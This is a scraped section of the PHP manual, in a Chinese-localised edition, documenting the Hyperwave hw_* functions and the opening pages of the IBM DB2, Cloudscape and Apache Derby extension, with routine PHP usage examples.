Returns the document with object ID objectID. If the document has anchors which can be inserted, they will be inserted already. The optional parameter rootID/prefix can be a string or an integer. If it is an integer it determines how links are inserted into the document. The default is 0 and will result in links that are constructed from the name of the link's destination object. This is useful for web applications. If a link points to an object with name 'internet_movie' the HTML link will be <A HREF="/internet_movie">. The actual location of the source and destination object in the document hierarchy is disregarded. You will have to set up your web browser, to rewrite that URL to for example '/my_script.php3/internet_movie'. 'my_script.php3' will have to evaluate $PATH_INFO and retrieve the document. All links will have the prefix '/my_script.php3/'. If you do not want this you can set the optional parameter rootID/prefix to any prefix which is used instead. Is this case it has to be a string.

If rootID/prefix is an integer and unequal to 0 the link is constructed from all the names starting at the object with the id rootID/prefix separated by a slash relative to the current object. If for example the above document 'internet_movie' is located at 'a-b-c-internet_movie' with '-' being the separator between hierarchy levels on the Hyperwave server and the source document is located at 'a-b-d-source' the resulting HTML link would be: <A HREF="../c/internet_movie">. This is useful if you want to download the whole server content onto disk and map the document hierarchy onto the file system.

This function will only work for pure text documents. It will not open a special data connection and therefore blocks the control connection during the transfer.

See also hw_pipedocument(),
hw_free_document(),
hw_document_bodytag(),
hw_document_size(),
and hw_output_document().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_GetSrcByDestObj | 上一级 | hw_getusername


hw_getusername

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_getusername -- Name of currently logged in user

Description

string hw_getusername ( int connection )

Returns the username of the connection.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_GetText | 上一级 | hw_Identify


hw_Identify

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_Identify -- Identifies as user

Description

string hw_identify ( int link, string username, string password )

Identifies as user with username and password. Identification is only valid for the current session. I do not think this function will be needed very often. In most cases it will be easier to identify with the opening of the connection.

See also hw_connect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_getusername | 上一级 | hw_InCollections


hw_InCollections

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_InCollections -- Check if object ids in collections

Description

array hw_incollections ( int connection, array object_id_array, array collection_id_array, int return_collections )

Checks whether a set of objects (documents or collections) specified by the object_id_array is part of the collections listed in collection_id_array. When the fourth parameter return_collections is 0, the subset of object ids that is part of the collections (i.e., the documents or collections that are children of one or more collections of collection ids or their subcollections, recursively) is returned as an array. When the fourth parameter is 1, however, the set of collections that have one or more objects of this subset as children are returned as an array. This option allows a client to, e.g., highlight the part of the collection hierarchy that contains the matches of a previous query, in a graphical overview.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_Identify | 上一级 | hw_Info


hw_Info

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_Info -- Info about connection

Description

string hw_info ( int connection )

Returns information about the current connection. The returned string has the following format: <Serverstring>, <Host>, <Port>, <Username>, <Port of Client>, <Byte swapping>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_InCollections | 上一级 | hw_InsColl


hw_InsColl

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_InsColl -- Insert collection

Description

int hw_inscoll ( int connection, int objectID, array object_array )

Inserts a new collection with attributes as in object_array into collection with object ID objectID.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_Info | 上一级 | hw_InsDoc


hw_InsDoc

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_InsDoc -- Insert document

Description

int hw_insdoc ( resource connection, int parentID, string object_record [, string text] )

Inserts a new document with attributes as in object_record into collection with object ID parentID. This function inserts either an object record only or an object record and a pure ascii text in text if text is given. If you want to insert a general document of any kind use hw_insertdocument() instead.

See also hw_insertdocument(), and hw_inscoll().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_InsColl | 上一级 | hw_insertanchors


hw_insertanchors

(PHP 4 >= 4.0.4, PECL)

hw_insertanchors -- Inserts only anchors into text

Description

bool hw_insertanchors ( int hwdoc, array anchorecs, array dest [, array urlprefixes] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_InsDoc | 上一级 | hw_InsertDocument


hw_InsertDocument

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_InsertDocument -- Upload any document

Description

int hw_insertdocument ( int connection, int parent_id, int hw_document )

Uploads a document into the collection with parent_id. The document has to be created before with hw_new_document(). Make sure that the object record of the new document contains at least the attributes: Type, DocumentType, Title and Name. Possibly you also want to set the MimeType. The functions returns the object id of the new document or FALSE.

See also hw_pipedocument().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_insertanchors | 上一级 | hw_InsertObject


hw_InsertObject

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_InsertObject -- Inserts an object record

Description

int hw_insertobject ( int connection, string object_rec, string parameter )

Inserts an object into the server. The object can be any valid hyperwave object. See the HG-CSP documentation for a detailed information on how the parameters have to be.

Note: If you want to insert an Anchor, the attribute Position has always been set either to a start/end value or to 'invisible'. Invisible positions are needed if the annotation has no corresponding link in the annotation text.

See also hw_pipedocument(),
hw_insertdocument(),
hw_insdoc(),
and hw_inscoll().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_InsertDocument | 上一级 | hw_mapid


hw_mapid

(PHP 3 >= 3.0.13, PHP 4, PECL)

hw_mapid -- Maps global id on virtual local id

Description

int hw_mapid ( int connection, int server_id, int object_id )

Maps a global object id on any hyperwave server, even those you did not connect to with hw_connect(), onto a virtual object id. This virtual object id can then be used as any other object id, e.g. to obtain the object record with hw_getobject(). The server id is the first part of the global object id (GOid) of the object which is actually the IP number as an integer.

Note: In order to use this function you will have to set the F_DISTRIBUTED flag, which can currently only be set at compile time in hg_comm.c. It is not set by default. Read the comment at the beginning of hg_comm.c

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_InsertObject | 上一级 | hw_Modifyobject


hw_Modifyobject

(PHP 3 >= 3.0.7, PHP 4, PECL)

hw_Modifyobject -- Modifies object record

Description

bool hw_modifyobject ( int connection, int object_to_change, array remove, array add [, int mode] )

This command allows to remove, add, or modify individual attributes of an object record. The object is specified by the Object ID object_to_change. The first array remove is a list of attributes to remove. The second array add is a list of attributes to add. In order to modify an attribute one will have to remove the old one and add a new one. hw_modifyobject() will always remove the attributes before it adds attributes unless the value of the attribute to remove is not a string or array.

The last parameter determines if the modification is performed recursively. 1 means recursive modification. If some of the objects cannot be modified they will be skipped without notice. hw_error() may not indicate an error though some of the objects could not be modified.

The keys of both arrays are the attributes name. The value of each array element can either be an array, a string or anything else. If it is an array each attribute value is constructed by the key of each element plus a colon and the value of each element. If it is a string it is taken as the attribute value. An empty string will result in a complete removal of that attribute. If the value is neither a string nor an array but something else, e.g. an integer, no operation at all will be performed on the attribute. This is necessary if you want to add a completely new attribute not just a new value for an existing attribute. If the remove array contained an empty string for that attribute, the attribute would be tried to be removed which would fail since it doesn't exist. The following addition of a new value for that attribute would also fail. Setting the value for that attribute to e.g. 0 would not even try to remove it and the addition will work.

If you would like to change the attribute 'Name' with the current value 'books' into 'articles' you will have to create two arrays and call hw_modifyobject().

例子 1. modifying an attribute

<?php
       // $connect is an existing connection to the Hyperwave server
       // $objid is the ID of the object to modify
       $remarr = array("Name" => "books");
       $addarr = array("Name" => "articles");
       $hw_modifyobject($connect, $objid, $remarr, $addarr);
?>
In order to delete/add a name=value pair from/to the object record just pass the remove/add array and set the last/third parameter to an empty array. If the attribute is the first one with that name to add, set attribute value in the remove array to an integer.

例子 2. adding a completely new attribute

<?php
       // $connect is an existing connection to the Hyperwave server
       // $objid is the ID of the object to modify
       $remarr = array("Name" => 0);
       $addarr = array("Name" => "articles");
       $hw_modifyobject($connect, $objid, $remarr, $addarr);
?>

注: Multilingual attributes, e.g. 'Title', can be modified in two ways. Either by providing the attributes value in its native form 'language':'title' or by providing an array with elements for each language as described above. The above example would than be:

例子 3. modifying Title attribute

<?php
       $remarr = array("Title" => "en:Books");
       $addarr = array("Title" => "en:Articles");
       $hw_modifyobject($connect, $objid, $remarr, $addarr);
?>
or

例子 4. modifying Title attribute

<?php
       $remarr = array("Title" => array("en" => "Books"));
       $addarr = array("Title" => array("en" => "Articles", "ge"=>"Artikel"));
       $hw_modifyobject($connect, $objid, $remarr, $addarr);
?>
This removes the English title 'Books' and adds the English title 'Articles' and the German title 'Artikel'.

例子 5. removing attribute

<?php
       $remarr = array("Title" => "");
       $addarr = array("Title" => "en:Articles");
       $hw_modifyobject($connect, $objid, $remarr, $addarr);
?>

注: This will remove all attributes with the name 'Title' and adds a new 'Title' attribute. This comes in handy if you want to remove attributes recursively.

注: If you need to delete all attributes with a certain name you will have to pass an empty string as the attribute value.

注: Only the attributes 'Title', 'Description' and 'Keyword' will properly handle the language prefix. If those attributes don't carry a language prefix, the prefix 'xx' will be assigned.

注: The 'Name' attribute is somewhat special. In some cases it cannot be complete removed. You will get an error message 'Change of base attribute' (not clear when this happens). Therefore you will always have to add a new Name first and than remove the old one.

注: You may not surround this function by calls to hw_getandlock() and hw_unlock(). hw_modifyobject() does this internally.

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_mapid | 上一级 | hw_mv


hw_mv

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_mv -- Moves objects

Description

int hw_mv ( int connection, array object_id_array, int source_id, int destination_id )

Moves the objects with object ids as specified in the second parameter from the collection with id source_id to the collection with the id destination_id. If the destination id is 0 the objects will be unlinked from the source collection. If this is the last instance of that object it will be deleted. If you want to delete all instances at once, use hw_deleteobject().

The value returned is the number of moved objects.

See also hw_cp(), and hw_deleteobject().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_Modifyobject | 上一级 | hw_New_Document


hw_New_Document

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_New_Document -- Create new document

Description

int hw_new_document ( string object_record, string document_data, int document_size )

Returns a new Hyperwave document with document data set to document_data and object record set to object_record. The length of the document_data has to passed in document_sizeThis function does not insert the document into the Hyperwave server.

See also hw_free_document(),
hw_document_size(),
hw_document_bodytag(),
hw_output_document(),
and hw_insertdocument().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_mv | 上一级 | hw_objrec2array


hw_objrec2array

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_objrec2array -- Convert attributes from object record to object array

Description

array hw_objrec2array ( string object_record [, array format] )

Converts an object_record into an object array. The keys of the resulting array are the attributes names. Multi-value attributes like 'Title' in different languages form its own array. The keys of this array are the left part to the colon of the attribute value. This left part must be two characters long. Other multi-value attributes without a prefix form an indexed array. If the optional parameter is missing the attributes 'Title', 'Description' and 'Keyword' are treated as language attributes and the attributes 'Group', 'Parent' and 'HtmlAttr' as non-prefixed multi-value attributes. By passing an array holding the type for each attribute you can alter this behaviour. The array is an associated array with the attribute name as its key and the value being one of HW_ATTR_LANG or HW_ATTR_NONE.

See also hw_array2objrec().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_New_Document | 上一级 | hw_Output_Document


hw_Output_Document

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_Output_Document -- Prints hw_document

Description

bool hw_output_document ( int hw_document )

Prints the document without the BODY tag.

For backward compatibility, hw_outputdocument() is also accepted. This is deprecated, however.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_objrec2array | 上一级 | hw_pConnect


hw_pConnect

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_pConnect -- Make a persistent database connection

Description

int hw_pconnect ( string host, int port [, string username, string password] )

Returns a connection index on success, or FALSE if the connection could not be made. Opens a persistent connection to a Hyperwave server. Each of the arguments should be a quoted string, except for the port number. The username and password arguments are optional and can be left out. In such a case no identification with the server will be done. It is similar to identify as user anonymous. This function returns a connection index that is needed by other Hyperwave functions. You can have multiple persistent connections open at once.

See also hw_connect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_Output_Document | 上一级 | hw_PipeDocument


hw_PipeDocument

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_PipeDocument -- Retrieve any document

Description

int hw_pipedocument ( int connection, int objectID [, array url_prefixes] )

Returns the Hyperwave document with object ID objectID. If the document has anchors which can be inserted, they will have been inserted already. The document will be transferred via a special data connection which does not block the control connection.

See also hw_gettext() for more on link insertion,
hw_free_document(),
hw_document_size(),
hw_document_bodytag(),
and hw_output_document().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_pConnect | 上一级 | hw_Root


hw_Root

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_Root -- Root object id

Description

int hw_root ( )

Returns the object ID of the hyperroot collection. Currently this is always 0. The child collection of the hyperroot is the root collection of the connected server.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_PipeDocument | 上一级 | hw_setlinkroot


hw_setlinkroot

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_setlinkroot -- Set the id to which links are calculated

Description

int hw_setlinkroot ( int link, int rootid )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_Root | 上一级 | hw_stat


hw_stat

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_stat -- Returns status string

Description

string hw_stat ( int link )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_setlinkroot | 上一级 | hw_Unlock


hw_Unlock

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_Unlock -- Unlock object

Description

bool hw_unlock ( int connection, int objectID )

Unlocks a document, so other users regain access.

See also hw_getandlock().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_stat | 上一级 | hw_Who


hw_Who

(PHP 3 >= 3.0.3, PHP 4, PECL)

hw_Who -- List of currently logged in users

Description

array hw_who ( int connection )

Returns an array of users currently logged into the Hyperwave server. Each entry in this array is an array itself containing the elements id, name, system, onSinceDate, onSinceTime, TotalTime and self. 'self' is 1 if this entry belongs to the user who initiated the request.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_Unlock | 上一级 | IBM DB2, Cloudscape and Apache Derby Functions


IBM DB2, Cloudscape and Apache Derby Functions

PHP 手册
后退 前进

L. IBM DB2, Cloudscape and Apache Derby Functions

简介

These functions enable you to access IBM DB2 Universal Database, IBM Cloudscape, and Apache Derby databases using the DB2 Call Level Interface (DB2 CLI).

需求

To connect to IBM DB2 Universal Database for Linux, UNIX, and Windows, or IBM Cloudscape, or Apache Derby, you must install an IBM DB2 Universal Database client on the same computer on which you are running PHP. The extension has been developed and tested with DB2 Version 8.2.

To connect to IBM DB2 Universal Database for z/OS or iSeries, you also require IBM DB2 Connect or the equivalent DRDA gateway software.

Requirements on Linux or Unix

The user invoking the PHP executable or SAPI must specify the DB2 instance before accessing these functions. You can set the name of the DB2 instance in php.ini using the ibm_db2.instance_name configuration option, or you can source the DB2 instance profile before invoking the PHP executable.

If you created a DB2 instance named db2inst1 in /home/db2inst1/, for example, you can add the following line to php.ini:
ibm_db2.instance_name=db2inst1
If you do not set this option in php.ini, you must issue the following command to modify your environment variables to enable access to DB2:
bash$ source /home/db2inst1/sqllib/db2profile
To enable your PHP-enabled Web server to access these functions, you must either set the ibm_db2.instance_name configuration option in php.ini, or source the DB2 instance environment in your Web server start script (typically /etc/init.d/httpd or /etc/init.d/apache).

安装

To build the ibm_db2 extension, the DB2 application development header files and libraries must be installed on your system. DB2 does not install these by default, so you may have to return to your DB2 installer and add this option. The header files are included with the DB2 Application Development Client freely available for download from the IBM DB2 Universal Database support site.

If you add the DB2 application development header files and libraries to a Linux or Unix operating system on which DB2 was already installed, you must issue the command db2iupdt -e to update the symbolic links to the header files and libraries in your DB2 instances.

ibm_db2 is a PECL extension, so follow the instructions in 7 章 to install the ibm_db2 extension for PHP. Issue the configure command to point to the location of your DB2 header files and libraries as follows:
bash$ ./configure --with-IBM_DB2=/path/to/DB2
The configure command defaults to /opt/IBM/db2/V8.1.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. ibm_db2 配置选项

名字 | 默认 | 可修改范围 | Changelog
ibm_db2.binmode | "1" | PHP_INI_ALL |
ibm_db2.instance_name | NULL | PHP_INI_SYSTEM |

以下是配置选项的简要解释。

ibm_db2.binmode integer

This option controls the mode used for converting to and from binary data in the PHP application.

  • 1 (DB2_BINARY)

  • 2 (DB2_CONVERT)

  • 3 (DB2_PASSTHRU)

ibm_db2.instance_name string

On Linux and UNIX operating systems, this option defines the name of the instance to use for cataloged database connections. If this option is set, its value overrides the DB2INSTANCE environment variable setting.

This option is ignored on Windows operating systems.

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

DB2_BINARY (integer)

Specifies that binary data shall be returned as is. This is the default mode.

DB2_CONVERT (integer)

Specifies that binary data shall be converted to a hexadecimal encoding and returned as an ASCII string.

DB2_PASSTHRU (integer)

Specifies that binary data shall be converted to a NULL value.

DB2_SCROLLABLE (integer)

Specifies a scrollable cursor for a statement resource. This mode enables random access to rows in a result set, but currently is supported only by IBM DB2 Universal Database.

DB2_FORWARD_ONLY (integer)

Specifies a forward-only cursor for a statement resource. This is the default cursor type and is supported on all database servers.

DB2_PARAM_IN (integer)

Specifies the PHP variable should be bound as an IN parameter for a stored procedure.

DB2_PARAM_OUT (integer)

Specifies the PHP variable should be bound as an OUT parameter for a stored procedure.

DB2_PARAM_INOUT (integer)

Specifies the PHP variable should be bound as an INOUT parameter for a stored procedure.

DB2_PARAM_FILE (integer)

Specifies that the column should be bound directly to a file for input or output.

DB2_AUTOCOMMIT_ON (integer)

Specifies that autocommit should be turned on.

DB2_AUTOCOMMIT_OFF (integer)

Specifies that autocommit should be turned off.

DB2_DOUBLE (integer)

Specifies that the variable should be bound as a DOUBLE, FLOAT, or REAL data type.

DB2_LONG (integer)

Specifies that the variable should be bound as a SMALLINT, INTEGER, or BIGINT data type.

DB2_CHAR (integer)

Specifies that the variable should be bound as a CHAR or VARCHAR data type.

资源类型

The ibm_db2 extension returns connection resources, statement resources, and result set resources.

目录
db2_autocommit -- Returns or sets the AUTOCOMMIT state for a database connection
db2_bind_param -- Binds a PHP variable to an SQL statement parameter
db2_close -- Closes a database connection
db2_column_privileges -- Returns a result set listing the columns and associated privileges for a table
db2_columns -- Returns a result set listing the columns and associated metadata for a table
db2_commit -- Commits a transaction
db2_conn_error -- Returns a string containing the SQLSTATE returned by the last connection attempt
db2_conn_errormsg -- Returns the last connection error message and SQLCODE value
db2_connect -- Returns a connection to a database
db2_cursor_type -- Returns the cursor type used by a statement resource
db2_exec -- Executes an SQL statement directly
db2_execute -- Executes a prepared SQL statement
db2_fetch_array -- Returns an array, indexed by column position, representing a row in a result set
db2_fetch_assoc -- Returns an array, indexed by column name, representing a row in a result set
db2_fetch_both -- Returns an array, indexed by both column name and position, representing a row in a result set
db2_fetch_object -- Returns an object with properties representing columns in the fetched row
db2_fetch_row -- Sets the result set pointer to the next row or requested row
db2_field_display_size -- Returns the maximum number of bytes required to display a column
db2_field_name -- Returns the name of the column in the result set
db2_field_num -- Returns the position of the named column in a result set
db2_field_precision -- Returns the precision of the indicated column in a result set
db2_field_scale -- Returns the scale of the indicated column in a result set
db2_field_type -- Returns the data type of the indicated column in a result set
db2_field_width -- Returns the width of the current value of the indicated column in a result set
db2_foreign_keys -- Returns a result set listing the foreign keys for a table
db2_free_result -- Frees resources associated with a result set
db2_free_stmt -- Frees resources associated with the indicated statement resource
db2_next_result -- Requests the next result set from a stored procedure
db2_num_fields -- Returns the number of fields contained in a result set
db2_num_rows -- Returns the number of rows affected by an SQL statement
db2_pconnect -- Returns a persistent connection to a database
db2_prepare -- Prepares an SQL statement to be executed
db2_primary_keys -- Returns a result set listing primary keys for a table
db2_procedure_columns -- Returns a result set listing stored procedure parameters
db2_procedures -- Returns a result set listing the stored procedures registered in a database
db2_result -- Returns a single column from a row in the result set
db2_rollback -- Rolls back a transaction
db2_special_columns -- Returns a result set listing the unique row identifier columns for a table
db2_statistics -- Returns a result set listing the index and statistics for a table
db2_stmt_error -- Returns a string containing the SQLSTATE returned by an SQL statement
db2_stmt_errormsg -- Returns a string containing the last SQL statement error message
db2_table_privileges -- Returns a result set listing the tables and associated privileges in a database
db2_tables -- Returns a result set listing the tables and associated metadata in a database

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_Who | 上一级 | db2_autocommit


db2_autocommit

(PECL)

db2_autocommit -- Returns or sets the AUTOCOMMIT state for a database connection

说明

mixed db2_autocommit ( resource connection [, bool value] )

Sets or gets the AUTOCOMMIT behavior of the specified connection resource.

参数

connection

A valid database connection resource variable as returned from db2_connect() or db2_pconnect().

value

One of the following constants:

DB2_AUTOCOMMIT_OFF

Turns AUTOCOMMIT off.

DB2_AUTOCOMMIT_ON

Turns AUTOCOMMIT on.

返回值

When db2_autocommit() receives only the connection parameter, it returns the current state of AUTOCOMMIT for the requested connection as an integer value. A value of 0 indicates that AUTOCOMMIT is off, while a value of 1 indicates that AUTOCOMMIT is on.

When db2_autocommit() receives both the connection parameter and autocommit parameter, it attempts to set the AUTOCOMMIT state of the requested connection to the corresponding state. 如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Retrieving the AUTOCOMMIT value for a connection

In the following example, a connection which has been created with AUTOCOMMIT turned off is tested with the db2_autocommit() function.

<?php
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF);
$conn = db2_connect($database, $user, $password, $options);
$ac = db2_autocommit($conn);
if ($ac == 0) {
    print "$ac -- AUTOCOMMIT is off.";
} else {
    print "$ac -- AUTOCOMMIT is on.";
}
?>

上例将输出：

0 -- AUTOCOMMIT is off.

例子 2. Setting the AUTOCOMMIT value for a connection

In the following example, a connection which was initially created with AUTOCOMMIT turned off has its behavior changed to turn AUTOCOMMIT on.

<?php
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF);
$conn = db2_connect($database, $user, $password, $options);

// Turn AUTOCOMMIT on
$rc = db2_autocommit($conn, DB2_AUTOCOMMIT_ON);
if ($rc) {
    print "Turning AUTOCOMMIT on succeeded.\n";
}

// Check AUTOCOMMIT state
$ac = db2_autocommit($conn);
if ($ac == 0) {
    print "$ac -- AUTOCOMMIT is off.";
} else {
    print "$ac -- AUTOCOMMIT is on.";
}
?>

上例将输出：

Turning AUTOCOMMIT on succeeded.
1 -- AUTOCOMMIT is on.

参见

db2_connect()
db2_pconnect()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
IBM DB2, Cloudscape and Apache Derby Functions | 上一级 | db2_bind_param


db2_bind_param

(PECL)

db2_bind_param -- Binds a PHP variable to an SQL statement parameter

说明

bool db2_bind_param ( resource stmt, int parameter-number, string variable-name [, int parameter-type [, int data-type [, int precision [, int scale]]]] )

Binds a PHP variable to an SQL statement parameter in a statement resource returned by db2_prepare(). This function gives you more control over the parameter type, data type, precision, and scale for the parameter than simply passing the variable as part of the optional input array to db2_execute().

参数

stmt

A prepared statement returned from db2_prepare().

parameter-number

Specifies the 1-indexed position of the parameter in the prepared statement.

variable-name

A string specifying the name of the PHP variable to bind to the parameter specified by parameter-number.

parameter-type

A constant specifying whether the PHP variable should be bound to the SQL parameter as an input parameter (DB2_PARAM_IN), an output parameter (DB2_PARAM_OUT), or as a parameter that accepts input and returns output (DB2_PARAM_INOUT).

data-type

A constant specifying the SQL data type that the PHP variable should be bound as: one of DB2_BINARY, DB2_CHAR, DB2_DOUBLE, or DB2_LONG .

precision

Specifies the precision with which the variable should be bound to the database.

scale

Specifies the scale with which the variable should be bound to the database.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Binding PHP variables to a prepared statement

The SQL statement in the following example uses two input parameters in the WHERE clause. We call db2_bind_param() to bind two PHP variables to the corresponding SQL parameters. Notice that the PHP variables do not have to be declared or assigned before the call to db2_bind_param(); in the example, $lower_limit is assigned a value before the call to db2_bind_param(), but $upper_limit is assigned a value after the call to db2_bind_param(). The variables must be bound and, for parameters that accept input, must have any value assigned, before calling db2_execute().

<?php

$sql = 'SELECT name, breed, weight FROM animals
    WHERE weight > ? AND weight < ?';
$conn = db2_connect($database, $user, $password);
$stmt = db2_prepare($conn, $sql);

// We can declare the variable before calling db2_bind_param()
$lower_limit = 1;

db2_bind_param($stmt, 1, "lower_limit", DB2_PARAM_IN);
db2_bind_param($stmt, 2, "upper_limit", DB2_PARAM_IN);

// We can also declare the variable after calling db2_bind_param()
$upper_limit = 15.0;

if (db2_execute($stmt)) {
    while ($row = db2_fetch_array($stmt)) {
        print "{$row[0]}, {$row[1]}, {$row[2]}\n";
    }
}
?>

上例将输出：

Pook, cat, 3.2
Rickety Ride, goat, 9.7
Peaches, dog, 12.3

参见

db2_execute()
db2_prepare()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_autocommit | 上一级 | db2_close


db2_close

(PECL)

db2_close -- Closes a database connection

说明

bool db2_close ( resource connection )

This function closes a DB2 client connection created with db2_connect() and returns the corresponding resources to the database server.

If you attempt to close a persistent DB2 client connection created with db2_pconnect(), the close request is ignored and the persistent DB2 client connection remains available for the next caller.

参数

connection

Specifies an active DB2 client connection.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Closing a connection

The following example demonstrates a successful attempt to close a connection to an IBM DB2, Cloudscape, or Apache Derby database.

<?php
$conn = db2_connect('SAMPLE', 'db2inst1', 'ibmdb2');
$rc = db2_close($conn);
if ($rc) {
    echo "Connection was successfully closed.";
}
?>

上例将输出：

Connection was successfully closed.

参见

db2_connect()
db2_pconnect()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_bind_param | 上一级 | db2_column_privileges


db2_column_privileges

(PECL)

db2_column_privileges -- Returns a result set listing the columns and associated privileges for a table

说明

resource db2_column_privileges ( resource connection [, string qualifier [, string schema [, string table-name [, string column-name]]]] )

Returns a result set listing the columns and associated privileges for a table.

参数

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the tables. To match all schemas, pass NULL or an empty string.

table-name

The name of the table or view. To match all tables in the database, pass NULL or an empty string.

column-name

The name of the column. To match all columns in the table, pass NULL or an empty string.

返回值

Returns a statement resource with a result set containing rows describing the column privileges for columns matching the specified parameters. The rows are composed of the following columns:

Column name | Description
TABLE_CAT | Name of the catalog. The value is NULL if this table does not have catalogs.
TABLE_SCHEM | Name of the schema.
TABLE_NAME | Name of the table or view.
COLUMN_NAME | Name of the column.
GRANTOR | Authorization ID of the user who granted the privilege.
GRANTEE | Authorization ID of the user to whom the privilege was granted.
PRIVILEGE | The privilege for the column.
IS_GRANTABLE | Whether the GRANTEE is permitted to grant this privilege to other users.

参见

db2_columns()
db2_foreign_keys()
db2_primary_keys()
db2_procedure_columns()
db2_procedures()
db2_special_columns()
db2_statistics()
db2_table_privileges()
db2_tables()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_close | 上一级 | db2_columns


db2_columns

(PECL)

db2_columns -- Returns a result set listing the columns and associated metadata for a table

说明

resource db2_columns ( resource connection [, string qualifier [, string schema [, string table-name [, string column-name]]]] )

Returns a result set listing the columns and associated metadata for a table.

参数

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the tables. To match all schemas, pass '%'.

table-name

The name of the table or view. To match all tables in the database, pass NULL or an empty string.

column-name

The name of the column. To match all columns in the table, pass NULL or an empty string.

返回值

Returns a statement resource with a result set containing rows describing the columns matching the specified parameters. The rows are composed of the following columns:

Column name | Description
TABLE_CAT | Name of the catalog. The value is NULL if this table does not have catalogs.
TABLE_SCHEM | Name of the schema.
TABLE_NAME | Name of the table or view.
COLUMN_NAME | Name of the column.
DATA_TYPE | The SQL data type for the column represented as an integer value.
TYPE_NAME | A string representing the data type for the column.
COLUMN_SIZE | An integer value representing the size of the column.
BUFFER_LENGTH | Maximum number of bytes necessary to store data from this column.
DECIMAL_DIGITS | The scale of the column, or NULL where scale is not applicable.
NUM_PREC_RADIX | An integer value of either 10 (representing an exact numeric data type), 2 (representing an approximate numeric data type), or NULL (representing a data type for which radix is not applicable).
NULLABLE | An integer value representing whether the column is nullable or not.
REMARKS | Description of the column.
COLUMN_DEF | Default value for the column.
SQL_DATA_TYPE | An integer value representing the size of the column.
SQL_DATETIME_SUB | Returns an integer value representing a datetime subtype code, or NULL for SQL data types to which this does not apply.
CHAR_OCTET_LENGTH | Maximum length in octets for a character data type column, which matches COLUMN_SIZE for single-byte character set data, or NULL for non-character data types.
ORDINAL_POSITION | The 1-indexed position of the column in the table.
IS_NULLABLE | A string value where 'YES' means that the column is nullable and 'NO' means that the column is not nullable.

参见

db2_column_privileges()
db2_foreign_keys()
db2_primary_keys()
db2_procedure_columns()
db2_procedures()
db2_special_columns()
db2_statistics()
db2_table_privileges()
db2_tables()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_column_privileges | 上一级 | db2_commit


